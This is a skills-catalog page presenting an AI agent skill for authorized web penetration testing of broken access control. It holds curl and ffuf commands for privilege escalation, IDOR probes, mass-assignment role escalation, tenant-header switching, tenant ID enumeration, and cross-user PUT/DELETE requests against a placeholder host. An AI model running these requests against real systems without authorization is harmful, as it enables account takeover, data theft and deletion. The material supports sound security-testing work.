Testing for Broken Access Control

VerifiedCaution

Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references.

Sby Skills Guide Bot
SecurityAdvanced
7/23/2026
Claude CodeCodexCursor
#penetration-testing#access-control#authorization#privilege-escalation#owasp

Recommended for

Automated summary

A structured penetration-testing workflow for finding broken access control in web applications, covering endpoint mapping, role-based access matrices, and privilege-escalation checks.

Strengths

  • Emphasizes building an endpoint-to-role access matrix before testing begins.
  • Provides practical commands for ffuf discovery and Burp Authorize configuration.
  • Addresses multi-role and multi-tenant scenarios, including unauthenticated request comparisons.
  • Maps to OWASP A01:2021 and references NIST CSF and MITRE ATT&CK.

Limitations

  • The supplied content is incomplete: it stops at the start of vertical privilege-escalation testing and does not fully cover IDOR, horizontal escalation, or reporting.
  • Assumes a written engagement agreement, Burp Suite Professional with the Authorize extension, multiple test accounts, and a pre-defined role matrix.
  • Focuses on detection; false-positive validation and remediation guidance are not elaborated.
When to use it

Use during an authorized web application penetration test when assessing RBAC, multi-tenant isolation, or OWASP Top 10 access-control risks.

When not to use it

Do not use without written authorization or without test accounts at different privilege levels that let you distinguish legitimate access from unauthorized access.

Security analysis

Caution
Quality score85/100

The content is a legitimate authorized penetration-testing workflow for broken access control. It uses powerful tools such as curl, ffuf, and Burp Suite and includes active testing, including state-changing requests, but it explicitly requires written authorization and does not contain destructive, exfiltrating, or obfuscated payloads.

Findings
  • •The skill performs active network requests, endpoint discovery, and state-changing operations (PUT/DELETE) against a live target; misuse without explicit authorization could modify or delete data.
  • •It requires multiple authenticated test accounts and credentials/tokens, so credential handling and scope controls are important even though no real secrets are included.
  • •Actively instructs running network requests (curl, ffuf) against live targets, including state-changing PUT/DELETE/PATCH operations that could alter or destroy real data if pointed at a production system.
  • •Includes attempts to bypass authorization via header manipulation (X-HTTP-Method-Override, X-Tenant-ID), JWT claim tampering, and mass-assignment role escalation, which are offensive techniques requiring explicit authorization.
  • •Uses placeholder tokens/credentials rather than real secrets; no credential exfiltration, obfuscated payloads, or safety-disabling instructions observed.
  • •Gates usage on a written penetration testing agreement in the Prerequisites section, which is appropriate scoping.
How this analysis is made

Examples

Plan a multi-role access-control test
Plan an access-control test for our multi-tenant SaaS app. We have admin, manager, user, and guest accounts; build an endpoint/role matrix and identify the first vertical privilege-escalation checks to run with Burp Authorize.
Compare role responses for API endpoints
Using these ffuf results and the Burp site map, find API endpoints that may be missing authorization checks. Compare responses for an unauthenticated request, a regular user, and an admin, and flag likely broken access control.
Design an IDOR test plan
We suspect a user can access another organization's records by changing the ID in /api/v1/invoices/{id}. Design a safe, authorized test plan for horizontal privilege escalation and IDOR, including the evidence to capture.

name: testing-for-broken-access-control description: Systematically testing web applications for broken access control vulnerabilities including privilege escalation, missing function-level checks, and insecure direct object references. domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • access-control
  • authorization
  • owasp
  • privilege-escalation
  • web-security version: '1.0' author: mahipal license: Apache-2.0 nist_csf:
  • PR.PS-01
  • ID.RA-01
  • PR.DS-10
  • DE.CM-01 mitre_attack:
  • T1190
  • T1059.007
  • T1505.003
  • T1083
  • T1068

Testing for Broken Access Control

When to Use

  • During authorized penetration tests as the primary assessment for OWASP A01:2021 - Broken Access Control
  • When evaluating role-based access control (RBAC) implementations across all application endpoints
  • For testing multi-tenant applications where users in one organization should not access another's data
  • When assessing API endpoints for missing or inconsistent authorization checks
  • During security audits where privilege escalation and unauthorized access are primary concerns

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: With Authorize extension for automated access control testing
  • Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
  • Application role matrix: Documentation of what each role should and should not access
  • curl/httpie: For manual endpoint testing with different authentication contexts
  • ffuf: For discovering hidden endpoints that may lack access controls

Workflow

Step 1: Map All Endpoints and Create Access Control Matrix

Document every endpoint and the expected access level for each role.

# Extract all endpoints from Burp Site Map
# Target > Site Map > Right-click > Copy URLs in this host

# Build a matrix of endpoints vs roles:
# | Endpoint              | Admin | Manager | User | Guest |
# |-----------------------|-------|---------|------|-------|
# | GET /admin/dashboard  | Allow | Deny    | Deny | Deny  |
# | GET /api/users        | Allow | Allow   | Deny | Deny  |
# | PUT /api/users/{id}   | Allow | Deny    | Own  | Deny  |
# | DELETE /api/posts/{id} | Allow | Allow   | Own  | Deny  |

# Discover hidden endpoints
ffuf -u "https://target.example.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN" \
  -o endpoints.json -of json

# API endpoint discovery
ffuf -u "https://target.example.com/api/v1/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403,405 -fc 404 \
  -H "Authorization: Bearer $USER_TOKEN"

Step 2: Configure Automated Access Control Testing

Set up Burp Authorize extension for parallel role-based testing.

# Install Authorize extension:
# Burp > Extender > BApp Store > Search "Authorize" > Install

# Configuration for three-tier testing:
# 1. Browse the application as Admin (capture all requests)
# 2. In Authorize tab:
#    a. Add Regular User's session token in "Replace cookies/headers"
#    b. Optionally add a second row for Unauthenticated (no auth header)

# Example header replacement setup:
# Row 1 (Low-privilege user):
#   Cookie: session=low_priv_user_session
#   Authorization: Bearer low_priv_token
#
# Row 2 (Unauthenticated):
#   [Empty - removes all auth headers]

# Enable interception in Authorize:
# - Check "Intercept requests from Proxy"
# - Check "Intercept requests from Repeater"

# Authorize shows results as:
# Green  = Properly restricted (different response for different user)
# Red    = POTENTIALLY VULNERABLE (same response regardless of role)
# Orange = Uncertain (needs manual verification)

Step 3: Test Vertical Privilege Escalation

Attempt to access higher-privilege functionality with lower-privilege accounts.

# Collect tokens for each role
ADMIN_TOKEN="Bearer admin_jwt_here"
MANAGER_TOKEN="Bearer manager_jwt_here"
USER_TOKEN="Bearer user_jwt_here"

# Test admin endpoints with user token
ADMIN_ENDPOINTS=(
  "GET /admin/dashboard"
  "GET /admin/users"
  "POST /admin/users/create"
  "PUT /admin/settings"
  "DELETE /admin/users/5"
  "GET /admin/logs"
  "GET /admin/reports/export"
  "POST /admin/backup"
)

for entry in "${ADMIN_ENDPOINTS[@]}"; do
  method=$(echo "$entry" | cut -d' ' -f1)
  endpoint=$(echo "$entry" | cut -d' ' -f2)
  echo -n "$method $endpoint (as user): "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    -H "Content-Type: application/json" \
    "https://target.example.com$endpoint")
  if [ "$status" == "200" ] || [ "$status" == "201" ]; then
    echo "VULNERABLE ($status)"
  else
    echo "OK ($status)"
  fi
done

# Test with method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "Authorization: $USER_TOKEN" \
  -H "X-HTTP-Method-Override: DELETE" \
  "https://target.example.com/admin/users/5"

# Test with different HTTP methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo -n "$method /admin/users: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" \
    -H "Authorization: $USER_TOKEN" \
    "https://target.example.com/admin/users"
  echo
done

Step 4: Test Horizontal Privilege Escalation

Verify that users cannot access resources belonging to other users at the same privilege level.

# User A (ID: 101) testing access to User B's (ID: 102) resources
USER_A_TOKEN="Bearer user_a_jwt"

RESOURCES=(
  "/api/users/102/profile"
  "/api/users/102/orders"
  "/api/users/102/messages"
  "/api/users/102/documents"
  "/api/users/102/settings"
  "/api/users/102/payment-methods"
)

for resource in "${RESOURCES[@]}"; do
  echo -n "GET $resource: "
  response=$(curl -s -w "\n%{http_code}" \
    -H "Authorization: $USER_A_TOKEN" \
    "https://target.example.com$resource")
  status=$(echo "$response" | tail -1)
  body_len=$(echo "$response" | head -n -1 | wc -c)
  if [ "$status" == "200" ] && [ "$body_len" -gt 50 ]; then
    echo "VULNERABLE ($status, $body_len bytes)"
  else
    echo "OK ($status)"
  fi
done

# Test write operations across users
curl -s -X PUT \
  -H "Authorization: $USER_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"Hacked","email":"hacked@evil.com"}' \
  "https://target.example.com/api/users/102/profile" -w "%{http_code}"

# Test delete operations
curl -s -X DELETE \
  -H "Authorization: $USER_A_TOKEN" \
  "https://target.example.com/api/users/102/documents/1" -w "%{http_code}"

Step 5: Test Function-Level Access Control

Verify that specific functions enforce authorization properly.

# Test unauthenticated access to protected endpoints
PROTECTED_ENDPOINTS=(
  "/api/user/profile"
  "/api/transactions"
  "/api/settings"
  "/admin/dashboard"
  "/api/export/users"
)

for endpoint in "${PROTECTED_ENDPOINTS[@]}"; do
  echo -n "No auth: GET $endpoint: "
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com$endpoint"
  echo
done

# Test with expired/invalid tokens
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer invalid_token_here" \
  "https://target.example.com/api/user/profile"

# Test role manipulation in JWT claims
# If JWT contains role claim, try modifying it
# (requires JWT vulnerability - see JWT testing skill)

# Test parameter-based role escalation
curl -s -X PUT \
  -H "Authorization: $USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","is_admin":true,"permissions":["admin","superuser"]}' \
  "https://target.example.com/api/users/101/profile"

# Test registration with elevated role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"new@test.com","password":"Test123!","role":"admin"}' \
  "https://target.example.com/api/auth/register"

Step 6: Test Multi-Tenant Isolation

Verify that tenant boundaries are enforced in multi-tenant applications.

# User in Tenant A testing access to Tenant B's resources
TENANT_A_TOKEN="Bearer tenant_a_user_jwt"

# Direct tenant resource access
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/users" | jq .

curl -s -H "Authorization: $TENANT_A_TOKEN" \
  "https://target.example.com/api/organizations/tenant-b-id/settings" | jq .

# Test tenant switching via header
curl -s -H "Authorization: $TENANT_A_TOKEN" \
  -H "X-Tenant-ID: tenant-b-id" \
  "https://target.example.com/api/users" | jq .

# Test tenant ID in request body
curl -s -X POST \
  -H "Authorization: $TENANT_A_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"tenant_id":"tenant-b-id","query":"SELECT * FROM users"}' \
  "https://target.example.com/api/reports/custom"

# Enumerate tenant IDs
ffuf -u "https://target.example.com/api/organizations/FUZZ" \
  -w <(seq 1 100) \
  -H "Authorization: $TENANT_A_TOKEN" \
  -mc 200 -t 10 -rate 20

Key Concepts

| Concept | Description | |---------|-------------| | Vertical Privilege Escalation | Lower-privilege user accessing higher-privilege functionality (user -> admin) | | Horizontal Privilege Escalation | User accessing another user's resources at the same privilege level | | Function-Level Access Control | Authorization checks on specific features/functions regardless of URL | | RBAC | Role-Based Access Control - permissions assigned to roles, roles assigned to users | | ABAC | Attribute-Based Access Control - permissions based on user/resource/environment attributes | | Multi-Tenant Isolation | Ensuring data and functionality separation between different organizations/tenants | | Insecure Direct Object Reference | Accessing objects by manipulating identifiers without authorization checks | | Missing Function-Level Check | Endpoint exists but does not verify the caller has permission to invoke it |

Tools & Systems

| Tool | Purpose | |------|---------| | Burp Suite Professional | Request interception and role-based testing | | Authorize (Burp Extension) | Automated access control testing across sessions | | AutoRepeater (Burp Extension) | Automatically replays requests with different auth contexts | | Postman | API testing with environment switching between roles | | ffuf | Discovering hidden endpoints that may lack access controls | | OWASP ZAP | Access control testing with context-aware scanning |

Common Scenarios

Scenario 1: Admin Panel Without Auth Check

The /admin/dashboard endpoint returns the admin panel when accessed with a regular user's session token. The front-end hides the admin menu, but the back-end does not enforce role checks.

Scenario 2: API Endpoint Missing Authorization

The DELETE /api/users/{id} endpoint checks for authentication (valid token) but not authorization (admin role). Any authenticated user can delete any other user's account.

Scenario 3: Tenant Data Leakage

A SaaS application uses tenant_id in API request headers. Changing the X-Tenant-ID header to another tenant's ID returns their data, bypassing tenant isolation.

Scenario 4: Mass Assignment Role Escalation

The user profile update endpoint at PUT /api/users/{id} accepts a role field in the JSON body. Submitting "role":"admin" alongside a profile update elevates the user to administrator.

Output Format

## Broken Access Control Assessment Report

**Target**: target.example.com
**Assessment Date**: 2024-01-15
**OWASP Category**: A01:2021 - Broken Access Control

### Access Control Matrix Results
| Endpoint | Admin | Manager | User | Guest | Expected | Actual |
|----------|-------|---------|------|-------|----------|--------|
| GET /admin/dashboard | 200 | 200 | 200 | 302 | Admin only | FAIL |
| DELETE /api/users/{id} | 200 | 200 | 200 | 401 | Admin only | FAIL |
| GET /api/users/other/profile | 200 | 200 | 200 | 401 | Own only | FAIL |
| PUT /api/users/other/settings | 200 | 200 | 200 | 401 | Own only | FAIL |
| GET /api/org/other-tenant | 200 | 200 | 200 | 401 | Same tenant | FAIL |

### Critical Findings
1. **Vertical Escalation**: Regular users can access /admin/* endpoints
2. **Horizontal IDOR**: Users can read/modify other users' profiles
3. **Tenant Isolation**: Cross-tenant data access via header manipulation
4. **Mass Assignment**: Role escalation via profile update endpoint

### Impact
- Complete administrative access for any authenticated user
- Full user data access across all accounts (15,000+ users)
- Cross-tenant data breach affecting 200+ organizations
- Account takeover via profile modification

### Recommendation
1. Implement server-side authorization checks on every endpoint
2. Use a centralized authorization middleware/framework
3. Enforce object-level authorization (verify ownership before access)
4. Validate tenant context server-side, never from client headers
5. Use allowlists for mass assignment (only permit expected fields)
6. Implement audit logging for all access control decisions

From the file to a first result

The download contains exactly the content displayed on this page. This copy may differ from the latest version in the source repository.

View the source and supporting files

This download contains SKILL.md only. Any scripts, references, templates and dependencies are not included. Get the required files from the source, preserving their directory structure, before continuing.

1. Download the file

Download SKILL.md

From the root of a test project, save the file as .skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md, or use the command below. This folder is for inspecting the skill before installation.

Command for macOS/Linux or WSL: requires a POSIX shell and curl. On Windows without WSL, use the download button and create the folder manually.

mkdir -p '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' && curl --fail --show-error --location 'https://skills-guides.com/api/skills/testing-for-broken-access-control-mrx3xzvb/download' --output '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md.part' && mv '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md.part' '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md'

2. Check prerequisites

Read SKILL.md before using it. If it references scripts or external services, inspect them and prepare the required access in your test environment.

Original excerpt: Prerequisites
  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: With Authorize extension for automated access control testing
  • Multiple test accounts: Accounts at each role level (admin, manager, user, guest)
  • Application role matrix: Documentation of what each role should and should not access
  • curl/httpie: For manual endpoint testing with different authentication contexts
  • ffuf: For discovering hidden endpoints that may lack access controls

The platforms on this page are catalog indications. The paths below follow tool documentation; they do not prove this skill has been run in those tools. No minimum tool version is confirmed for this listing.

3. Load the skill

After inspection, copy the complete folder into your project using one of the commands below, then open a new tool session. The command stops if a folder with the same name already exists: compare the files before replacing it.

Claude Code
test -f '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && test -s '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && mkdir -p '.claude/skills' && test ! -e '.claude/skills/testing-for-broken-access-control' && cp -R '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' '.claude/skills/testing-for-broken-access-control'

Cursor
test -f '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && test -s '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && mkdir -p '.cursor/skills' && test ! -e '.cursor/skills/testing-for-broken-access-control' && cp -R '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' '.cursor/skills/testing-for-broken-access-control'

Codex
test -f '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && test -s '.skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md' && mkdir -p '.agents/skills' && test ! -e '.agents/skills/testing-for-broken-access-control' && cp -R '.skill-downloads/testing-for-broken-access-control-mrx3xzvb' '.agents/skills/testing-for-broken-access-control'

OpenSkills

OpenSkills must already be installed. The local install/read procedure is checked with OpenSkills 1.5.0, which requires Node.js ≥ 20.6.0. Catalog slugs are not resolved automatically.

Official OpenSkills installation
openskills install './.skill-downloads/testing-for-broken-access-control-mrx3xzvb'

openskills read 'testing-for-broken-access-control-mrx3xzvb'

Reading should display the installed file content and its base directory. It does not run the skill or install its dependencies.

For an agent that reads AGENTS.md, then sync the index. This command changes AGENTS.md: review the diff before using it.

openskills sync

Manual method or another tool: attach SKILL.md to a conversation, or open it in an agent that can read files. Include any required supporting resources. No universal folder is recognized by every tool.

4. Try a first task

Use a short, synthetic input: an API endpoint, a small document or an interface brief. In a new conversation, attach the file or give the agent its path, then adapt this request:

Read .skill-downloads/testing-for-broken-access-control-mrx3xzvb/SKILL.md and apply its instructions to this example: [describe a test input]. Identify any missing files, dependencies or access. Produce the result requested by the skill without inventing data or running unreviewed scripts.

Expected result: output matching the skill instructions, or a precise list of missing prerequisites. A read confirmation alone does not validate a first use. If an external resource is unavailable, that path remains untested.

Related skills